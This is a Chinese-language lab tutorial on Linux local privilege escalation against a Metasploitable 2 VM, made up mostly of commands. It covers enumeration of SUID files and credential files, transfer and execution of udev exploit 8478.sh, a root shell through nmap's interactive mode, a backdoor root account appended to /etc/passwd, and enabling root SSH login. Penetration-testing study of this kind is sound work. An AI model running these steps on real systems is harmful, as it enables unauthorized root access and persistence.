从SSH到Root:Linux本地普通用户提权技巧演示

# 系统基础信息uname -a                    # 内核版本（找CVE漏洞）cat /etc/issue              # 发行版信息cat /proc/version           # 详细内核信息hostname                    # 主机名# 用户与权限信息whoami                      # 当前用户id                          # UID/GID/所属组groups                      # 所属用户组cat /etc/passwd             # 所有用户列表cat /etc/group              # 所有用户组lastlog                     # 最近登录记录# 敏感文件权限检查ls -la /etc/shadow          # 影子文件是否可读？ls -la /etc/sudoers         # sudo配置是否可写？ls -la /root                # root目录是否可进入？# 系统环境侦查env                         # 环境变量echo $PATH                  # 路径变量which python perl ruby      # 可用脚本语言find / -perm -4000 2 > /dev/null  # 查找SUID文件（关键！）

# 全盘搜索SUID文件（排除错误信息）find / -perm -4000 -type f 2 > /dev/null# 在Metasploitable 2中的典型发现：# /usr/bin/sudo# /bin/ping# /bin/su# /usr/bin/passwd# /usr/bin/chfn# /usr/bin/chsh# /usr/bin/newgrp# /usr/bin/gpasswd# /usr/bin/nmap# /bin/mount# /bin/umount# /bin/fusermount# /usr/bin/X# /usr/bin/traceroute6.iputils

# 检查 /etc/passwd 是否可写ls-la /etc/passwd# 检查 /etc/shadow 是否可读ls-la /etc/shadow

# 在靶机上确认 udev 版本dpkg -l|grep udev

# 在 Kali 主机上cd /tmpsearchsploit udev# 下载 udev 提权脚本searchsploit -m 8478.sh

# 在靶机上创建提权脚本目录mkdir /tmp/exploitcd /tmp/exploit# 从 Kali 传输 8478.sh 到靶机scp -o HostKeyAlgorithms=+ssh-rsa 8478.sh user@192.168.137.52:/tmp/# 在靶机上执行提权 cd /tmp/exploitchmod +x 8478.sh./8478.sh

┌──(kali㉿kali)-[~] └─$ ssh -o HostKeyAlgorithms=+ssh-rsa user@192.168.137.52# 输入密码 user user@metasploitable:/tmp/exploit$ openssl passwd -1 -salt hac hac$1$hac$0Y0AC6a5UuQdfz/rR58iZ1

# 启动 nmap 交互模式nmap --interactive

nmap> !sh

sh-3.2# whoamirootsh-3.2# echo 'hac:$1$hac$0Y0AC6a5UuQdfz/rR58iZ1:0:0::/root:/bin/bash' >> /etc/passwdsh-3.2# su hacPassword: root@metasploitable:/home/user#

# 1. 确认当前是 rootnmap> !shsh-3.2# iduid=0(root) gid=0(root) groups=0(root) # 2. 设置 root 密码（方便后续直接登录）sh-3.2# passwd rootEnter new UNIX password: Retype new UNIX password: passwd: password updated successfully# 3. 开启 root SSH 登录（可选）sh-3.2# sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configsh-3.2# /etc/init.d/ssh restart * Restarting OpenBSD Secure Shell server sshd   ...done.# 4. 之后可以直接用 root 登录ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.137.52